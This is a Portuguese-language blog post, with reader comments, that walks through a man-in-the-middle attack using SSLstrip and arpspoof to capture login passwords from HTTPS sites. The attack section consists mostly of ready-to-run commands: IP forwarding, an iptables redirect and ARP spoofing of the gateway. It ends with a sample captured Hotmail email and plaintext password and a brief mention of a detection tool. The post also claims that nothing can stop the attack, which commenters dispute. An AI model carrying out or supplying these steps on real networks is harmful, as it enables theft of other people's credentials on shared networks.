No início desta semana, eu discuti sobre segurança dentro de um Hotel em Vitória. A Outra pessoa teimava em dizer que quando qualquer um acessa um site seguro, com SSL/Certificado digital, nenhum hacker/cracker poderia roubar os seus dados. Eu argumentei que não era bem assim e que há técnicas que possibilitam o roubo de dados, mesmo navegando em sites seguros – SSL.

Eis que o o blog unknownantisec fez um excelente post explicando como executar um ataque Man in the middle em conjunto com a ferramenta SSLstrip, a qual já foi comentada várias vezes no blog.

Apesar de ser uma técnica relativamente fácil de ser feita, não deixa de ser uma técnica super poderosa. Muitos crackers à usam para fins maléficos como roubar senhas de clientes de bancos, mas a mesma pode ser usada por hackers para descobrir senhas de e-mails como por exemplo o Yahoo! Ou Hotmail que se tentássemos captura-las por técnicas de sniffing não obteríamos nada legível. Neste artigo irei mostrar como os crackers capturam senhas de bancos on-line para demonstrar que os famosos tecladinhos virtuais são facilmente burlados apesar de toda a sua fama de seguro. Nenhuma forma de proteção existente nos dias de hoje é capaz de parar esta técnica.

Espero que nenhum de nossos leitores use o conhecimento aqui obtido para causar prejuízos a terceiros, uma vez que escrevi este artigo apenas para fins didáticos e não poderá ser usado como forma de incentivo a criminalidade. O que garante que eu possa passar este conhecimento para você sem está cometendo um crime é o artigo 5º da Constituição Federal que nos garante a Liberdade de Expressão.

Como funciona?

Veja a imagem a seguir, esta é uma representação de uma conexão normal, sem interceptações, e funciona de modo que o cliente passa os dados criptografados para o servidor e vice-versa, tornando assim impossível o uso de técnicas de sniffing para a capturados dados trocados entre o cliente e o servidor.

Abaixo segue uma representação de uma conexão interceptada, (usando a técnica Man-in-The-Middle), e funciona de modo que o hacker engana o cliente e o servidor. Engana o cliente se fazendo passar por um simples servidor de proxy, e engana o servidor se passando pelo próprio cliente, desta forma os dados chegam até o hacker em texto puro, pois os dois pensam que o hacker é uma fonte confiável.

(Fonte: securityhacker)

Como é feito o ataque

Vou demonstrar como é feito um ataque desses com o sslstrip que já vem no backtrack 5.

para isso entre no diretorio do sslstrip:

#cd /pentest/web/sslstrip

Agora vamos listar as opções do sslstrip:

#python sslstrip.py -h

Ele vai dar as seguintes opções:

sslstrip 0.8 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

Vamos usar a opção “-w” ou “–write=” para gravar os logs em um arquivo e a “-l” ou “–listen=” para listar a porta de escuta.

Primeiro vamos habilitar ip forward no computador, para que ele possa intender que queremos redirecionar o trafego.

echo "1" > /proc/sys/net/ipv4/ip_forward

Agora vamos redirecionar o tráfego da porta 80 para a 10000 que é onde o sslstrip vai trabalhar.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Vamos colocar o sslstrip para funcionar agora, digite no terminal:

#python sslstrip.py -w trafego -l 10000

Abra outro terminal ou pagina que vamos colocar o arpspoof para funcionar.

Assim que abrir o terminal, digite route para saber qual o seu roteador e qual a placa que está conectada, ficaria assim.

Kernel IP routing table
Destination    Gateway                  Genmask         Flags Metric Ref    Use Iface
10.0.0.0           *                    255.0.0.0       U     0      0      0   eth0
default        10.25.77.254             0.0.0.0         UG    0      0      0   eth0

Ficando assim:

10.25.77.254 é seu router

eth0 é sua placa de rede

Sabendo o que é o que, vamos executar o arpspoof, digite no terminal

#arpspoof -i eth0 10.25.77.254

Para ver as “senhas” basta digitar:

#less trafego

Agora é só garimpar as senhas recolhidas.

Exemplo de pacote capturado

2011-07-28 13:49:19,605 SECURE POST Data (login.live.com):
login=juana%40hotmail.com&passwd=loa1814&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=CSunM4mofYhigqiObttRmtoFdxf8alO7UBN1O9Jb2EQYF1T5sE4qGl
teBPzjSYo1kd1jAsP7rlt80UdeEqjMeasL5WXvuVU%21n8NSpKRq3NxmBsw06rOBOfPnz4pejvv3qm0x7rcejM0zU0oCmtF9mL1UqTYa0VQELVDpWOg3RhYACZhXqKYJAbxteyPX%21Mr1Yrq*Un8yDSMnbAgENcljztLVOk
*y&idsbho=1&PwdPad=&sso=&i1=&i2=1&i3=19972&i4=&i12=1&i13=&i14=593&i15=1038

Email: juana@hotmail.com

Senha:loa1814

Evitando o Ataque

“Para evitar esse tipo de ataque existe uma ferramenta que detecta algum engraçadinho na rede, chamado ArpON (ARP Handler Inspection), ele é um daemon manipulador que possui ferramentas de vigilância e monitoramento de redes, para assegurar a proteção, além de evitar ataques do tipo Man In The Middle (MITM). ArpON também é capaz de detectar e bloquear ataques mais alarmantes como DHCP Spoofing, DNS Spoofing, WEB Spoofing, Session Hijacking, SSL/TLS Hijacking e outros. “(Fonte: under-linux)

Há também um vídeo muito bem explicado de como executar alguns ataques com o SSLstrip:

Compartilhar:

Este post tem 19 comentários

  1. Evandro Villa Verde

    Depois dessa heim!!!

    Num logo mais em nada na interter..kkkk

    Vlw Gustavo.

  2. Wagner Elias

    Gustavo,

    o post não deixa claro que isto não é um problema do SSL. O SSL é sim um padrão confiável e NÃO DÁ PRA BURLAR.

    O problema ai é de rede e da “confiança” do usuário.

    Nas duas abordagens do SSLstrip o cliente é o real problema:

    Abordagem 1: O site será redirecionado para HTTP e o favicon irá mudar para um cadeado. Ai entra a velha balela dos “especialistas” em querer ensinar o usuário a olhar o “cadeadinho”. Se o cliente entender ele verá que o site não está mais em HTTPS e sim em HTTP.

    Abordagem 2: O SSLStrip irá enviar um certificado auto-assinado e o site só será carregado se o cliente der um OK no Warning.

    O SSL não é o problema! Não existe um sniffing em clear-text ou quebra do túnel HTTPS.

    Abs.

  3. Ber

    Um dica é usar um rede wireless com criptgorafia ativa, não tem como fazer isto WAP2.
    Usar twitter com https

  4. bruno

    Belo post!

    Mas concordo com o Wagner Elias o problema não é o protocolo SSL e sim a falta de cuidado do usuário.

  5. VulgoToc

    Realmente não se trata de uma “falha” no SSL. O SSL é seguro. Oq a ferramenta faz é fechar um tunnel SSL entre a vitima e o atacante, o qual envia a sua própria chave publica para a vita, em detrimento da chave pública do servidor real. Obviamente o browser do usuário não tem um certificado Raiz que assine o certificado forjado do atacante e exibira um alerta para o usuário. Mesmo que o usuário aceite o certificado forjado, é, atualmente, IMPOSSÍVEL quebrar a segurança do SSL. O atacante só tem acesso aos dados pq a criptografia é realizada com a sua própria chave pública, e não por conta de uma falha no processo criptografico…
    Desde os primordios que se conheçe que a falha está no uso, e não na criptografia em si.
    Além do mais, esse tipo de ferramenta exige que o atacante esteja NA MESMA REDE da vítima(na mesma camada de enlace).

  6. VulgoToc

    Mais uma informação: Nenhum “cracker” consegue senhas bancárias dessa forma! O miniaplicativo java conheçe a java pública do banco e, portanto, rejeita certificado com outra assinatura. Existem outras tecnicas muito mais simples de se conseguir senhas…

  7. Artur

    Muito bom o post! E o melhor de tudo é que no fim mostra a parte mais legal, que é uma das formas de se defender desse tipo de ataque.

  8. Adriel Gavazza

    Para alguns comentários acima, comento o seguinte:

    Beleza, o problema não é o SSL, e sim o usuário. No fim das contas, por via do usuário, o tráfego SSL pode ser “burlado”, que novamente no fim das contas é o que o atacante quer! Não acham???

    Não interessa como ele fez, interessa somente que ele fez, e não como ele ou do que ele dependeu pra fazer!

    Fazendo analogia: Um servidor qualquer, é invadido. Estava todo atualizado, tudo que é possível de segurança instalado e configurado. Mas a senha do administrador que controla tudo isso é fraca. Qual segurança que vai dar jeito?

    Então, não me afirme “Navegar com SSL é 100% seguro”.

    Excelente post Gustavo.

  9. Wagner Elias

    Adriel,

    navegar via SSL é sim 100% seguro.

    O que é subvertido é a rede com arp spoofing e mesmo assim o usuário ainda pode ver que o SSL dele foi quebrado através do endereço que passa para HTTP ou via certificado auto-assinado que ele vai precisar aceitar.

    Falar que o SSL é inseguro por isto é no mínimo ingenuidade da sua parte.

    Abs.

  10. Rubem

    BOM POST Gutcol

  11. Gustavo Lima

    Wagner Elias, conheço 3 pesquisadores (2 da Verisign e 1 da IBM) que discutiriam horas com vc sobre isso.. hehehe

  12. Rodrigo

    teria como exemplo onde os ” tecladinhos virtuais” aparecem no pacote desmembrado, ACHO q nao rola

  13. Adriel Gavazza

    Amigo Wagner Elias,

    Não estou dizendo que o SSL é “vulnerável” ou não. Nem que ele é inseguro por causa de determinadas técnicas.Talvez me expressei mal e não me fiz entender.

    Me refiro quanto acreditar que está seguro na navegação, porque está usando SSL, e pensar que nada pode acontecer. Isso não é total verdade.

    A isso que eu me referia. No final das contas, não se pode confiar só no SSL.

    Valeu!

  14. Ber

    Para resolver o problema é bem simples use um roteador Wi-fi com WAP2 ativo! É Impossuível que um backtrack da vida consiga penetra

  15. Rafael

    Concordo com o Wagner Elias mas concordo também com o Adriel. O problema não está no SSL… e daí? Não importa onde está. O importante é que o ataque será bem sucedido.

  16. Unknown_AntiSec

    Passando pelos post, achei esse…..
    Bom eu fiz o teste com a criptografia de um banco, acc meu banco de outro computador enquanto rodava sslstrip, realmente, o sslstrip não quebra a criptografia, porem eu consegui capturar a senha criptografada, mas a conta agencia e digito peguei normal

  17. Gustavo Lima

    Correto.. Há alguns anos, eu trabalhei com um cara que tinha uma teoria quanto a quebra de senhas – ele trabalhou no desenvolvimento dos sistema de segurança do governo americano. Agora, eu não sei se essa teoria foi comprovada..

  18. Walber

    Utilizei este método no site do meu banco, com a minha conta (puramente acadêmico), capturei a minha senha, porém, criptografada. Não consegui descobrir a senha mas isso me ensinou muito sobre SSL, kali linux e sniff

Deixe um comentário